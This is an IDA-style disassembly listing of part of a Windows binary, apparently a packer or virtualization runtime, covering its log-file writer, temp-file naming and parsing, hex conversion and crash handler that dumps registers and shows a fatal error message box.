		cmp	[ebp+var_20], 0
		jnz	loc_4996AD
		push	400h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	[ebp+var_1C], eax
		push	0
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	ecx, offset dword_48E720
		mov	ecx, [ecx+4]
		mov	[ecx+7Ch], eax
		mov	eax, offset dword_48E720
		mov	eax, [eax+4]
		cmp	dword ptr [eax+7Ch], 0
		jnz	short loc_4995C2
		jmp	loc_4996F6
; ---------------------------------------------------------------------------

loc_4995C2:				; CODE XREF: sub_499538+83j
		push	400h
		push	[ebp+var_1C]
		mov	eax, offset dword_48E720
		mov	eax, [eax+4]
		push	dword ptr [eax+7Ch]
		call	ds:dword_4A2714	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_4995E4
		jmp	loc_4996F6
; ---------------------------------------------------------------------------

loc_4995E4:				; CODE XREF: sub_499538+A5j
		mov	edi, [ebp+var_1C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_24], ecx
		push	offset aUp_txt	; "-up.txt"
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_24]
		push	eax
		call	ds:dword_4A27D4	; wsprintfA
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	2
		push	0
		push	1
		push	40000000h
		push	[ebp+var_1C]
		call	ds:dword_4A26A8	; CreateFileA
		mov	ecx, offset dword_48E720
		mov	ecx, [ecx+4]
		mov	[ecx+78h], eax
		mov	eax, offset dword_48E720
		mov	eax, [eax+4]
		mov	eax, [eax+78h]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_499648
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_499690

loc_499648:				; CODE XREF: sub_499538+108j
		push	offset aUp1_txt	; "-up1.txt"
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_24]
		push	eax
		call	ds:dword_4A27D4	; wsprintfA
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	2
		push	0
		push	1
		push	40000000h
		push	[ebp+var_1C]
		call	ds:dword_4A26A8	; CreateFileA
		mov	ecx, offset dword_48E720
		mov	ecx, [ecx+4]
		mov	[ecx+78h], eax
		mov	eax, offset dword_48E720
		mov	eax, [eax+4]
		mov	eax, [eax+78h]
		mov	[ebp+var_20], eax

loc_499690:				; CODE XREF: sub_499538+10Ej
		cmp	[ebp+var_20], 0
		jz	short loc_49969C
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_49969E

loc_49969C:				; CODE XREF: sub_499538+15Cj
		jmp	short loc_4996F6
; ---------------------------------------------------------------------------

loc_49969E:				; CODE XREF: sub_499538+162j
		push	2
		push	0
		push	0
		push	[ebp+var_20]
		call	ds:dword_4A2788	; SetFilePointer

loc_4996AD:				; CODE XREF: sub_499538+4Aj
		cmp	[ebp+var_20], 0FFFFFFFFh
		jz	short loc_4996E7
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	[ebp+arg_0]
		push	[ebp+var_20]
		call	ds:dword_4A27BC	; WriteFile
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	[ebp+var_28], ecx
		jz	short loc_4996E7
		jmp	short loc_4996F6
; ---------------------------------------------------------------------------

loc_4996E7:				; CODE XREF: sub_499538+179j
					; sub_499538+1ABj ...
		push	0FFFFFFFFh
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		jmp	short loc_499717
; ---------------------------------------------------------------------------

loc_4996F6:				; CODE XREF: sub_499538+85j
					; sub_499538+A7j ...
		and	[ebp+var_2C], 0
		jmp	short loc_4996E7
; ---------------------------------------------------------------------------

loc_4996FC:				; DATA XREF: _5:0049F518o
		push	offset dword_4A2A28
		call	ds:dword_4A2754	; RtlLeaveCriticalSection
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_4993DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_499717:				; CODE XREF: sub_499538+1BCj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_499538	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499726	proc near		; CODE XREF: sub_491C5C+345p
					; sub_499C27+1Dp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

; FUNCTION CHUNK AT 004997BB SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F520
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		push	1000h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_20], eax
		push	[ebp+var_20]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	ds:dword_4A27D8	; wvsprintfA
		mov	[ebp+var_24], eax
		push	offset asc_4A1D90 ; "\r\n"
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_24]
		push	eax
		call	ds:dword_4A27D4	; wsprintfA
		pop	ecx
		pop	ecx
		and	[ebp+var_20], 0
		push	[ebp+var_1C]
		call	sub_499538
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4997AB
		jmp	short loc_4997BB
sub_499726	endp


; =============== S U B	R O U T	I N E =======================================



sub_4997AB	proc near		; CODE XREF: sub_499726+7Ep
					; DATA XREF: _5:0049F528o
		mov	eax, [ebp-1Ch]
		mov	[ebp-2Ch], eax
		push	dword ptr [ebp-2Ch]
		call	sub_4993DD
		pop	ecx
		retn
sub_4997AB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_499726

loc_4997BB:				; CODE XREF: sub_499726+83j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_499726

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4997CA	proc near		; CODE XREF: sub_4971E1+D39p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00499883 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F530
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	1000h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_1C], eax
		push	0
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	400h
		call	ds:dword_4A2710	; RtlGetLastWin32Error
		push	eax
		push	0
		push	1300h
		call	ds:dword_4A26DC	; FormatMessageA
		cmp	[ebp+var_20], 0
		jz	short loc_499859
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+var_20]
		push	offset aWindowsErrorSA ; "windows error	%s\n  at %s(%d)\n"
		push	[ebp+var_1C]
		call	ds:dword_4A27D4	; wsprintfA
		add	esp, 14h
		push	[ebp+var_1C]
		call	sub_499538
		pop	ecx

loc_499859:				; CODE XREF: sub_4997CA+6Aj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_499864
		jmp	short loc_499883
sub_4997CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_499864	proc near		; CODE XREF: sub_4997CA+93p
					; DATA XREF: _5:0049F538o
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_499873
		push	dword ptr [ebp-20h]
		call	ds:dword_4A2764	; LocalFree

loc_499873:				; CODE XREF: sub_499864+4j
		mov	eax, [ebp-1Ch]
		mov	[ebp-28h], eax
		push	dword ptr [ebp-28h]
		call	sub_4993DD
		pop	ecx
		retn
sub_499864	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4997CA

loc_499883:				; CODE XREF: sub_4997CA+98j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4997CA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499892	proc near		; CODE XREF: sub_4968CF+A2p
					; sub_4971E1+1F4p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		movzx	eax, ds:byte_4A2A40
		and	eax, 1
		test	eax, eax
		jnz	short loc_4998BE
		mov	al, ds:byte_4A2A40
		or	al, 1
		mov	ds:byte_4A2A40,	al
		call	ds:dword_4A26E8	; GetCurrentProcessId
		mov	ds:dword_4A2A20, eax

loc_4998BE:				; CODE XREF: sub_499892+13j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4998CE
		mov	eax, ds:dword_4A2A20
		mov	[ebp+var_10], eax
		jmp	short loc_4998D4
; ---------------------------------------------------------------------------

loc_4998CE:				; CODE XREF: sub_499892+30j
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax

loc_4998D4:				; CODE XREF: sub_499892+3Aj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		push	124h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		push	49h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_4]
		rep stosd
		push	[ebp+var_4]
		push	104h
		call	ds:dword_4A2734	; GetTempPathA
		movzx	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_499948
		mov	eax, ds:dword_4A6A48
		inc	eax
		mov	ds:dword_4A6A48, eax
		push	ds:dword_4A6A48
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	offset aMbx@X@X@X_ ; "MBX@%X@%X@%X.###"
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_4]
		add	eax, ecx
		push	eax
		call	ds:dword_4A27D4	; wsprintfA
		add	esp, 14h
		jmp	short loc_49999B
; ---------------------------------------------------------------------------

loc_499948:				; CODE XREF: sub_499892+7Aj
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_499977
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	offset aMbx@X@X_ ; "MBX@%X@%X.###"
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_4]
		add	eax, ecx
		push	eax
		call	ds:dword_4A27D4	; wsprintfA
		add	esp, 10h
		jmp	short loc_49999B
; ---------------------------------------------------------------------------

loc_499977:				; CODE XREF: sub_499892+BAj
		push	[ebp+var_8]
		push	offset aMbx@X@_	; "MBX@%X@*.###"
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_4]
		add	eax, ecx
		push	eax
		call	ds:dword_4A27D4	; wsprintfA
		add	esp, 0Ch

loc_49999B:				; CODE XREF: sub_499892+B4j
					; sub_499892+E3j
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	[ebp+var_4]
		call	ds:dword_4A27C8	; CharUpperBuffA
		mov	eax, [ebp+var_4]
		pop	edi
		leave
		retn
sub_499892	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4999B8	proc near		; CODE XREF: sub_499A16+E1p
					; sub_499A16+150p

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		movzx	eax, [ebp+arg_0]
		cmp	eax, 30h
		jl	short loc_4999D6
		movzx	eax, [ebp+arg_0]
		cmp	eax, 39h
		jg	short loc_4999D6
		movzx	eax, [ebp+arg_0]
		sub	eax, 30h
		jmp	short loc_499A14
; ---------------------------------------------------------------------------

loc_4999D6:				; CODE XREF: sub_4999B8+Aj
					; sub_4999B8+13j
		movzx	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	short loc_4999F1
		movzx	eax, [ebp+arg_0]
		cmp	eax, 46h
		jg	short loc_4999F1
		movzx	eax, [ebp+arg_0]
		sub	eax, 37h
		jmp	short loc_499A14
; ---------------------------------------------------------------------------

loc_4999F1:				; CODE XREF: sub_4999B8+25j
					; sub_4999B8+2Ej
		movzx	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	short loc_499A0C
		movzx	eax, [ebp+arg_0]
		cmp	eax, 66h
		jg	short loc_499A0C
		movzx	eax, [ebp+arg_0]
		sub	eax, 57h
		jmp	short loc_499A14
; ---------------------------------------------------------------------------

loc_499A0C:				; CODE XREF: sub_4999B8+40j
					; sub_4999B8+49j
		mov	eax, [ebp+arg_4]
		mov	byte ptr [eax],	1
		xor	eax, eax

loc_499A14:				; CODE XREF: sub_4999B8+1Cj
					; sub_4999B8+37j ...
		pop	ebp
		retn
sub_4999B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499A16	proc near		; CODE XREF: sub_49253F+2DEp

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F540
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jz	loc_499BF5
		call	ds:dword_4A26E8	; GetCurrentProcessId
		mov	[ebp+var_1C], eax
		push	5Ch
		push	[ebp+arg_0]
		call	sub_48D700
		pop	ecx
		pop	ecx
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_499A71
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+arg_0], eax

loc_499A71:				; CODE XREF: sub_499A16+52j
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 4
		jle	loc_499BF5
		push	4
		pop	ecx
		mov	edi, offset aMbx@ ; "MBX@"
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		mov	[ebp+var_34], eax
		repe cmpsb
		jz	short loc_499AA7
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_34], eax

loc_499AA7:				; CODE XREF: sub_499A16+87j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_38], eax
		cmp	[ebp+var_38], 0
		jnz	loc_499BF5
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		push	40h
		push	[ebp+arg_0]
		call	sub_48D640
		pop	ecx
		pop	ecx
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_499BF5
		and	[ebp+var_30], 0
		and	[ebp+var_2C], 0

loc_499AE1:				; CODE XREF: sub_499A16+FCj
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		mov	byte ptr [ebp+var_3C], al
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		call	sub_4999B8
		pop	ecx
		pop	ecx
		and	eax, 0Fh
		mov	ecx, [ebp+var_30]
		shl	ecx, 4
		or	eax, ecx
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_28]
		jnz	short loc_499AE1
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jnz	loc_499BF5
		mov	eax, [ebp+var_30]
		cmp	eax, [ebp+var_1C]
		jnz	loc_499BF5
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		push	2Eh
		push	[ebp+arg_0]
		call	sub_48D640
		pop	ecx
		pop	ecx
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_499BF5
		and	[ebp+var_30], 0

loc_499B50:				; CODE XREF: sub_499A16+16Bj
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		mov	byte ptr [ebp+var_40], al
		push	[ebp+var_40]
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		call	sub_4999B8
		pop	ecx
		pop	ecx
		and	eax, 0Fh
		mov	ecx, [ebp+var_30]
		shl	ecx, 4
		or	eax, ecx
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_28]
		jnz	short loc_499B50
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jnz	short loc_499BF5
		mov	[ebp+var_44], offset a__0 ; ".###"
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_48], eax

loc_499B98:				; CODE XREF: sub_499A16+1B4j
		mov	eax, [ebp+var_48]
		mov	al, [eax]
		mov	[ebp+var_49], al
		mov	ecx, [ebp+var_44]
		cmp	al, [ecx]
		jnz	short loc_499BD2
		cmp	[ebp+var_49], 0
		jz	short loc_499BCC
		mov	eax, [ebp+var_48]
		mov	al, [eax+1]
		mov	[ebp+var_4A], al
		mov	ecx, [ebp+var_44]
		cmp	al, [ecx+1]
		jnz	short loc_499BD2
		add	[ebp+var_48], 2
		add	[ebp+var_44], 2
		cmp	[ebp+var_4A], 0
		jnz	short loc_499B98

loc_499BCC:				; CODE XREF: sub_499A16+195j
		and	[ebp+var_50], 0
		jmp	short loc_499BDA
; ---------------------------------------------------------------------------

loc_499BD2:				; CODE XREF: sub_499A16+18Fj
					; sub_499A16+1A6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_50], eax

loc_499BDA:				; CODE XREF: sub_499A16+1BAj
		mov	eax, [ebp+var_50]
		mov	[ebp+var_54], eax
		cmp	[ebp+var_54], 0
		jnz	short loc_499BF5
		mov	eax, [ebp+var_30]
		mov	[ebp+var_58], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_58]
		jmp	short loc_499C08
; ---------------------------------------------------------------------------

loc_499BF5:				; CODE XREF: sub_499A16+30j
					; sub_499A16+6Fj ...
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_499C06
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh

loc_499C06:				; CODE XREF: sub_499A16+1E3j
		xor	eax, eax

loc_499C08:				; CODE XREF: sub_499A16+1DDj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_499A16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499C17	proc near		; CODE XREF: sub_48E2E0+3F8p
		push	ebp
		mov	ebp, esp
		push	offset sub_499C27
		call	ds:dword_4A2790	; SetUnhandledExceptionFilter
		pop	ebp
		retn
sub_499C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499C27	proc near		; CODE XREF: sub_496BD7+367p
					; sub_497B7F+3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	offset a__seh__0xXAt0x ; "__SEH__ 0x%x at 0x%x"
		call	sub_499726
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+98h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0BCh]
		push	offset aCs0x08xSs0x08x ; "CS :0x%08X SS	:0x%08X	DS :0x%08X"
		call	sub_499726
		add	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+8Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+90h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+94h]
		push	offset aEs0x08xFs0x08x ; "ES :0x%08X FS	:0x%08X	GS :0x%08X"
		call	sub_499726
		add	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0ACh]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B0h]
		push	offset aEax0x08xEdx0x0 ; "EAX:0x%08X EDX:0x%08X	ECX:0x%08X"
		call	sub_499726
		add	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		push	offset aEsp0x08xEbp0x0 ; "ESP:0x%08X EBP:0x%08X	EIP:0x%08X"
		call	sub_499726
		add	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+9Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A0h]
		push	offset aEsi0x08xEdi0x0 ; "ESI:0x%08X EDI:0x%08X"
		call	sub_499726
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		call	sub_49A18E
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, 11000000h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 16h
		ja	loc_499E67
		mov	eax, [ebp+var_8]
		jmp	ds:off_499E97[eax*4]

loc_499D8E:				; DATA XREF: _4:off_499E97o
		mov	[ebp+var_4], offset aAssertionFaile ; "ASSERTION FAILED"
		jmp	loc_499E67
; ---------------------------------------------------------------------------

loc_499D9A:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499E9Bo
		mov	[ebp+var_4], offset aHasNoAccessToE ; "HAS NO ACCESS TO	EXECUTABLE"
		jmp	loc_499E67
; ---------------------------------------------------------------------------

loc_499DA6:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499E9Fo
		mov	[ebp+var_4], offset aExecutableIsNo ; "EXECUTABLE IS NOT NT IMAGE"
		jmp	loc_499E67
; ---------------------------------------------------------------------------

loc_499DB2:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EC7o
		mov	[ebp+var_4], offset aDynamicLibrary ; "DYNAMIC LIBRARY IS NOT NT IMAGE"
		jmp	loc_499E67
; ---------------------------------------------------------------------------

loc_499DBE:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EA3o
		mov	[ebp+var_4], offset aExecutableCorr ; "EXECUTABLE CORRUPTED"
		jmp	loc_499E67
; ---------------------------------------------------------------------------

loc_499DCA:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EA7o
		mov	[ebp+var_4], offset aPathIsVeryLong ; "PATH IS VERY LONG"
		jmp	loc_499E67
; ---------------------------------------------------------------------------

loc_499DD6:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EABo
		mov	[ebp+var_4], offset aCouldNotOpenBo ; "COULD NOT OPEN BOXFILE"
		jmp	loc_499E67
; ---------------------------------------------------------------------------

loc_499DE2:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EAFo
		mov	[ebp+var_4], offset aReadBoxfileErr ; "READ BOXFILE ERROR"
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499DEB:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EB3o
		mov	[ebp+var_4], offset aBoxfileCorrupt ; "BOXFILE CORRUPTED"
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499DF4:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EB7o
		mov	[ebp+var_4], offset aFeatureIsNotIm ; "FEATURE IS NOT IMPLEMENTED"
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499DFD:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EBBo
		mov	[ebp+var_4], offset aOutOfMemory ; "OUT	OF MEMORY"
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499E06:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EBFo
		mov	[ebp+var_4], offset aWrappersTableB ; "WRAPPERS	TABLE BROKEN"
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499E0F:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EC3o
		mov	[ebp+var_4], offset aVirtualprote_0 ; "VIRTUALPROTECT BROKEN"
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499E18:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499ECBo
		mov	[ebp+var_4], offset aCouldNotCreate ; "COULD NOT CREATE	HEAP"
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499E21:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499ECFo
		mov	[ebp+var_4], offset aHeapCorrupted ; "HEAP CORRUPTED"
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499E2A:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499ED7o
		mov	[ebp+var_4], offset aDllCorrupted ; "DLL CORRUPTED"
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499E33:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EE7o
		mov	[ebp+var_4], offset aInvalidCompres ; "INVALID COMPRESSION/ENCRYPTION ALGORITH"...
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499E3C:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499ED3o
		mov	[ebp+var_4], offset aPackedDllOrBox ; "PACKED DLL OR BOXFILE CORRUPTED"
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499E45:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EDBo
		mov	[ebp+var_4], offset aHookingDllErro ; "HOOKING DLL ERROR"
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499E4E:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EDFo
		mov	[ebp+var_4], offset aGetmodulenameE ; "GetModuleName ERROR"
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499E57:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EE3o
		mov	[ebp+var_4], offset aBadFuulname ; "BAD	FUULNAME"
		jmp	short loc_499E67
; ---------------------------------------------------------------------------

loc_499E60:				; CODE XREF: sub_499C27+160j
					; DATA XREF: _4:00499EEFo
		mov	[ebp+var_4], offset aInvalidDllRelo ; "INVALID DLL RELOCATION"

loc_499E67:				; CODE XREF: sub_499C27+157j
					; sub_499C27+160j ...
		cmp	[ebp+var_4], 0
		jz	short loc_499E8C
		push	0
		push	0
		call	ds:dword_4A27C4	; ChangeDisplaySettingsA
		push	10h
		push	ds:off_49F4F4
		push	[ebp+var_4]
		push	0
		call	ds:dword_4A27D0	; MessageBoxA
